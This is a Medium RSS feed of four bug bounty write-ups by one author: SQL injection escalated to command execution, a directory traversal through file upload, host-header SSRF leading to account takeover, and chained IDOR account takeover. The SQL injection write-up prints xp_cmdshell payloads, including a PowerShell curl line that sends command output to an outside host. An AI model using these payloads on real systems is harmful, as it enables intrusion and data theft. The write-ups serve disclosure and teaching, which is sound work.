<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kwadwo Amoako on Medium]]></title>
        <description><![CDATA[Stories by Kwadwo Amoako on Medium]]></description>
        <link>https://medium.com/@kojodaprogrammer?source=rss-e3e117667eb1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*n_SgFafJ5c4AeRoVQer8VA.jpeg</url>
            <title>Stories by Kwadwo Amoako on Medium</title>
            <link>https://medium.com/@kojodaprogrammer?source=rss-e3e117667eb1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 09:41:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kojodaprogrammer/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQL injection to Remote Command Execution (RCE)]]></title>
            <link>https://systemweakness.com/sql-injection-to-remote-command-execution-rce-dd9a75292d1d?source=rss-e3e117667eb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd9a75292d1d</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Kwadwo Amoako]]></dc:creator>
            <pubDate>Tue, 31 May 2022 13:14:03 GMT</pubDate>
            <atom:updated>2022-06-03T08:03:42.894Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hackers, before we get into it, I would like to know your view of this — between a hacker’s <strong><em>curiosity</em></strong> and <strong><em>instinct</em></strong> which would you consider a more valuable asset?</p><p>Now as the title of this writeup indicates, I would be covering how I leveraged an SQL injection (SQLi) vulnerability on a web application to perform a Remote Command Execution (RCE) on the server hosting the target application. <strong>NB</strong>: Due to an NDA, I will not be able to disclose the name of the program.</p><p>Let&#39;s first define what SQLi and RCE are:</p><p><strong>What is an SQL Injection: </strong>SQL injection, also known as SQLI, is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed. -source:<em> </em><a href="https://www.imperva.com/learn/application-security/sql-injection-sqli/"><em>Imperva</em></a></p><p><strong>What is a Remote Command Execution (Command Injection): </strong>Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application -source: <a href="https://owasp.org/www-community/attacks/Command_Injection#:~:text=Description,.)%20to%20a%20system%20shell."><em>OWASP</em></a></p><h3><strong>Finding the SQLi vulnerability</strong></h3><p>While manually going through the pages of the app, I came across a pdf report generating functionality. Nothing seemed out of the ordinary or exploitable except the URLs of the pdf generated pages — they had parameters (see Figure 1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n9sffOHWj1BMQ0bJjmAn7Q.png" /><figcaption>Figure 1</figcaption></figure><p>I tried triggering errors using the various parameters but none of them worked except one parameter, which produced a <strong><em>500 error page </em></strong>after I inserted an asterisk <strong>*</strong>(see Figure 2)<strong><em>.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wqax8v6xx60sK_G-x_rO9Q.png" /><figcaption>Figure 2</figcaption></figure><p>According<strong><em> </em></strong>to <a href="https://www.lifewire.com/500-internal-server-error-explained-2622938"><em>lifewire</em></a><strong><em> “</em></strong>The 500 Internal Server Error is a very general <a href="https://www.lifewire.com/http-status-codes-2625907">HTTP status code</a> that means something has gone wrong on the website’s server, but the server could not be more specific on what the exact problem is.”</p><p>I decided to trigger a 10-seconds time-based blind SQLi using the <strong>WAITFOR</strong> keyword in SQL Server. This resulted in the page returning a response after 12 seconds (12,000 milliseconds) (see Figure 3)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y98uqTUewL9iD0Wsced3Tg.png" /><figcaption>Figure 3</figcaption></figure><p>— for a page that returned results after 2 seconds, I began to feel excited. After using 20 seconds and getting a response after 22 seconds (22,000 milliseconds), I couldn&#39;t be more sure of my finding (see Figure 4).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q8hSqytpGy4szYszyWSdLw.png" /><figcaption>Figure 4</figcaption></figure><h3>SQLi to RCE</h3><p>Now that I was sure that I was dealing with an SQL Server, I leveraged the SQLi vulnerability to enable xp_cmdshell using <strong><em>; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; — (see Figure 5)</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTQMVwFho9WAmTZ5iv2zVQ.png" /><figcaption>Figure 5</figcaption></figure><p>After enabling the xp_cmdshell, I pinged my http-server using <strong><em>;EXEC xp_cmdshell ‘ping xxxxxxxx.ngrok.io’; — </em></strong>and got a response. Awseome!</p><p>As you can see from the command below, the output of the command in PowerShell is sent to my HTTP server using curl. I used the command <strong><em>whoami, </em></strong>and got the response “nt service\mssqlserver” (see Figures 6 and 7)</p><p><strong><em>;EXEC xp_cmdshell ‘powershell -c “$x = whoami; curl </em></strong><a href="http://xxxxxx.net/get?output=$x"><strong><em>http://xxxxxx.net/get?output=$x</em></strong></a><strong><em>&quot;&#39;;--</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qz_AxBfmxBiPfTMCZuQFiQ.png" /><figcaption>Figure 6</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*NQicJYPHfCdBbiUGl6dr2g.png" /><figcaption>Figure 7</figcaption></figure><p>In order to prevent this attack, it is important to make use of <strong>Parameterized Queries.</strong></p><p>As always, your feedback on this write-up will be very much appreciated.</p><p>Disclaimer: This write-up is for educational purposes only. I am in no way responsible for its misuse.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd9a75292d1d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/sql-injection-to-remote-command-execution-rce-dd9a75292d1d">SQL injection to Remote Command Execution (RCE)</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting a File Upload Vulnerability  — A Directory Traversal Attack]]></title>
            <link>https://systemweakness.com/exploiting-a-file-upload-vulnerability-a-directory-traversal-attack-419308cdb059?source=rss-e3e117667eb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/419308cdb059</guid>
            <category><![CDATA[directory-traversal]]></category>
            <category><![CDATA[file-upload]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <dc:creator><![CDATA[Kwadwo Amoako]]></dc:creator>
            <pubDate>Wed, 20 Apr 2022 16:12:41 GMT</pubDate>
            <atom:updated>2022-04-27T08:21:33.008Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Exploiting a File Upload Vulnerability — A Directory Traversal Attack</strong></h3><p>Hello people, happy to have you here once again. I do hope you enjoy this write-up as much as I enjoyed ‘writing’ it. I would have to point out that, the name of the target/project application will remain undisclosed due to an NDA. I, therefore, apologise if certain aspects of this write-up come off a bit unclear.</p><p>Now let&#39;s get right to it, shall we… Imagine visiting your favourite website eg. Twitter and instead of seeing the Twitter bird logo, you see the image of an Armoured cable. This is how I went about this attack, only that, it wasn&#39;t Twitter 😄</p><p>Every hacker&#39;s spider senses tingle when he/she comes across a file upload functionality. That was me when I found the profile image upload functionality of this project.</p><p>My initial attacks included but were not limited to…</p><ol><li>Uploading files other than the required image formats (jpg,png, SVG etc)</li><li>Inserting payloads in the images after (1.) failed. 😕</li><li>Oh, and (2.) was not successful either.</li></ol><h3>Almost there….</h3><p>After all the attempts failed, I decided to inspect the file name of my profile picture and realised that it was <strong>renamed</strong> to my <strong>Username </strong>by the application. The next logical step was to create accounts with payloads as my username. The process as you can imagine was quite long — and unfortunately unsuccessful because the application <strong><em>to some extent</em></strong> sanitized data quite well.</p><h3>Eureka!!!</h3><p>I decided to go over my reconnaissance (recon) notes on the application and found a directly listing vulnerability. I copied the directory and replaced my <strong>username </strong>(szUserName) see <strong><em>Figure 1</em></strong> with the directory, and got an <strong>HTTP 200 OK. </strong>Wait! what just happened???! Did the image just get uploaded into the folder I specified in my username? It sure did!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*yQIrFg8dUs4dRXMa4_2TsA.png" /><figcaption>Figure 1</figcaption></figure><p>To show impact, I changed my <strong>Username</strong> to the directory and the name of the application’s logo.</p><p>The logo got changed to the image of an armoured cable — (it could have been worse😄 )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/209/1*3bh0R1KGblITvNB30gHJvQ.png" /><figcaption>Figure 2</figcaption></figure><p>Your feedback on this write-up will be very much appreciated.</p><p>Disclaimer: This write-up is for educational purposes only. I am in no way responsible for its misuse.</p><h3>Contact :</h3><blockquote><a href="https://www.linkedin.com/in/kwadwo-agyei-amoako/"><em>LinkedIn</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=419308cdb059" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/exploiting-a-file-upload-vulnerability-a-directory-traversal-attack-419308cdb059">Exploiting a File Upload Vulnerability  — A Directory Traversal Attack</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF to a Full Account Takeover (ATO)]]></title>
            <link>https://medium.com/@kojodaprogrammer/ssrf-to-a-full-account-takeover-ato-22b5a3004413?source=rss-e3e117667eb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/22b5a3004413</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[host-header-injection]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Kwadwo Amoako]]></dc:creator>
            <pubDate>Fri, 04 Mar 2022 13:50:12 GMT</pubDate>
            <atom:updated>2022-03-23T08:15:56.872Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hackers!! today, I will be showing you how I performed an SSRF and Account Takeover attack, using host header injection. Let&#39;s get right to it <a href="https://emojipedia.org/smiling-face-with-smiling-eyes/">😊</a>. NB: Due to an NDA, I will not be able to disclose the name of the program.</p><h3>But wait a second! What is an SSRF??</h3><p>In computer security, <strong>server-side request forgery (SSRF)</strong> is a type of exploit where an attacker abuses the functionality of a server, causing it to access or manipulate information in the realm of that server that would otherwise not be directly accessible to the attacker. — <a href="https://en.wikipedia.org/wiki/Server-side_request_forgery">Wikipedia</a>. It is important to note that, as hard as it may be to find it in the wild, SSRF remains a much-sought-after bug amongst hackers.</p><h3><strong>The Attack</strong></h3><p>After a deep dive into the various functionalities of the app, I struck gold in the password reset functionality, when I realised that the Host header of the POST request was vulnerable to SSRF. How did I know this? I replaced the address in the Host header with the address generated by burp collaborator and got the IP of the application’s server in the HTTP callback. Furthermore, I was able to enumerate the internal ports of the server based on response time. Beyond that, attacks like RCE weren&#39;t possible.</p><p>Now to raise the impact of the bug. I fired up my Ngork server, created a test account ( let’s call it the victim) for the proof-of-concept (POC) and initiated a password reset. Intercepting the POST request, I replaced the URL in the Host header with mine and forwarded the request (Figure 1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aejqa6K_se-M0pS1B8jWTw.png" /><figcaption>Figure 1</figcaption></figure><p>The forwarded request resulted in the victim receiving a password reset email as seen in <em>Figure 2.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M52t9i8uVKH1D93-mpdFjQ.png" /><figcaption>Figure 2</figcaption></figure><p>In this attack, however, instead of the Password Reset page being opened after clicking the “Reset Password” link, the URL token associated with the victim was rather sent to the attacker (me <a href="https://emojipedia.org/smiling-face-with-smiling-eyes/">😊</a> ) see Figure 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAG1effNR5923DLmlo_OOA.png" /><figcaption>Figure 3</figcaption></figure><p>With the URL token in my possession, a combination of the app’s URL and the URL token resulted in me getting the victim’s password reset page — leading to a full account takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*Ze6k6UfPbBpqQA_esPr5Bg.png" /><figcaption>Figure 4</figcaption></figure><p>NB: I hope that this write-up has done justice in demonstrating how misconfigurations and flawed business logic in <strong>host headers </strong>can be leveraged to perform high impact attacks like SSRF and in this case an Account Takeover<a href="https://emojipedia.org/smiling-face-with-smiling-eyes/">😊</a>.</p><p>As always, your feedback on this write-up will be very much appreciated.</p><p>Disclaimer: This write-up is for educational purposes only. I am in no way responsible for its misuse.</p><h3>Contact :</h3><blockquote><a href="https://www.linkedin.com/in/kwadwo-agyei-amoako/"><em>LinkedIn</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22b5a3004413" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Full Account takeover (ATO) — a tale of two bugs ]]></title>
            <link>https://medium.com/@kojodaprogrammer/full-account-takeover-ato-a-tale-of-two-bugs-d1b3765ff1de?source=rss-e3e117667eb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1b3765ff1de</guid>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-reporting]]></category>
            <dc:creator><![CDATA[Kwadwo Amoako]]></dc:creator>
            <pubDate>Tue, 08 Feb 2022 11:20:46 GMT</pubDate>
            <atom:updated>2022-02-08T18:19:26.030Z</atom:updated>
            <content:encoded><![CDATA[<h3>Full Account takeover (ATO) — a tale of two bugs 🐛</h3><p>Hi everyone, I hope we’re all having a swell day. Before I jump into today&#39;s bug report, I’d like to express my sincerest gratitude for the engagement my previous <a href="https://medium.com/@kojodaprogrammer/hacking-the-margheriti-server-pwntilldawn-aec786aa1fde">write-up</a> received. In this write-up, I’d be highlighting how I found and chained two seemingly low severity bugs, to achieve account takeover on a program that I cannot disclose due to an NDA- Let’s call this target, www.xyz.com.</p><p>An<strong> Account takeover</strong> (ATO) is when an attacker gains access to the data and privileges associated with a compromised account. The possibility of achieving this is largely dependent on the bugs present in the target application and the creativity of the hacker.</p><p>Now, let&#39;s start with the first bug, an API based <strong>I</strong>nsecure <strong>D</strong>irect <strong>O</strong>bject <strong>R</strong>eference (<strong>IDOR), </strong>which occurs when an application exposes a reference to an internal implementation object. In English <a href="https://emojipedia.org/grinning-face-with-sweat/">😅</a>, it&#39;s when a part of an application allows you to request and receive information that you&#39;re not authorized to see.</p><p>In this attack, I intercepted and changed my ID in the body of the POST request,(POST /xyz.com/Account?handler=GetUserData) using, Burp Suite. After sending the request, I got the data of the victim as seen in <em>figure 1</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*dmjDxNvUc4bMPUSFtIjY9A.png" /><figcaption>figure 1</figcaption></figure><p>As important as this bug was, I had to shelve it a little longer because who doesn’t love a good chained attack? Now on to the next bug.🎤</p><p>If you haven&#39;t been taking static code analysis seriously, I’m here to tell you that you’ve probably missed out on a couple of juicy bugs. Now let’s take a look at the block of code ( <em>figure 2</em>) which I found on the “User Account” page and try to figure out the next line of action….I promise I’ll wait. 😁</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*jLaV4df15eMrNbKA--H-Nw.png" /><figcaption>Figure 2</figcaption></figure><p>In <em>figure 2</em>, we see a copy of the current user’s session on the browser. The session contains the user’s Id, rights and permission. These values are subsequently sent back to the API services for data, in the name of the current user.</p><p>Leveraging on the information provided in the first bug, as seen in <em>Figure 1. </em>I reloaded the “User Account” page, intercepted it and modified my IDs to the victim’s IDs.</p><p>The result — full access to the victim’s account. N.B — In this attack, I go by the name, Shaibu Abudu and the victim, Eric.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*hvVwOLawEU2IEjujG7eXiw.png" /><figcaption>Figure 3</figcaption></figure><p>To show impact, I changed the victim&#39;s password.</p><p>As always, your feedback on this write-up will be very much appreciated.</p><p>Disclaimer: This write-up is for educational purposes only. I am in no way responsible for its misuse.</p><h3>Contact :</h3><blockquote><a href="https://www.linkedin.com/in/kwadwo-agyei-amoako/"><em>LinkedIn</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1b3765ff1de" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>